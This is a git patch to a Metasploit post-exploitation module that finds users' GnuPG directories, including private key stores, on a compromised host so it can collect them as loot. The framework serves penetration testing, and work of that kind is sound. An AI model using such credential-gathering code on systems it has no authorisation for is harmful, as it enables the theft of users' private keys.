From 2ed613ffa335af7c0adcedc2d041a0ede4e178e9 Mon Sep 17 00:00:00 2001 From: Henry Hoggard Date: Thu, 5 Dec 2019 08:46:56 +0000 Subject: [PATCH] Fix file search --- modules/post/multi/gather/gpg_creds.rb | 27 +++++++++++++------------- 1 file changed, 13 insertions(+), 14 deletions(-) diff --git a/modules/post/multi/gather/gpg_creds.rb b/modules/post/multi/gather/gpg_creds.rb index fb770cd04b..15d4396e6b 100644 --- a/modules/post/multi/gather/gpg_creds.rb +++ b/modules/post/multi/gather/gpg_creds.rb @@ -28,24 +28,23 @@ class MetasploitModule < Msf::Post # This module is largely based on ssh_creds and firefox_creds.rb. def run - print_status("Finding .gnupg directories") - paths = enum_user_directories.map {|d| d + "/.gnupg"} - # Array#select! is only in 1.9 - paths = paths.select { |d| directory?(d) } + paths = [] + print_status('Finding GnuPG directories') + dirs = enum_user_directories + sub_dirs = ['private-keys-v1.d'] - if paths.nil? || paths.empty? - print_error("No users found with a .gnupg directory") - return + dirs.each do |dir| + gnupg_dir = "#{dir}/.gnupg" + next unless directory?(gnupg_dir) + paths << gnupg_dir + + sub_dirs.each do |sub_dir| + paths << "#{gnupg_dir}/#{sub_dir}" if directory?("#{gnupg_dir}/#{sub_dir}") + end end - download_loot(paths) - - print_status("Finding .gnupg >= 2.1 directories") - paths = enum_user_directories.map {|d| d + "/.gnupg/private-keys-v1.d"} - paths = paths.select { |d| directory?(d) } - if paths.nil? || paths.empty? - print_error("No users found with a .gnupg 2.1 directory") + print_error('No users found with a GnuPG directory') return end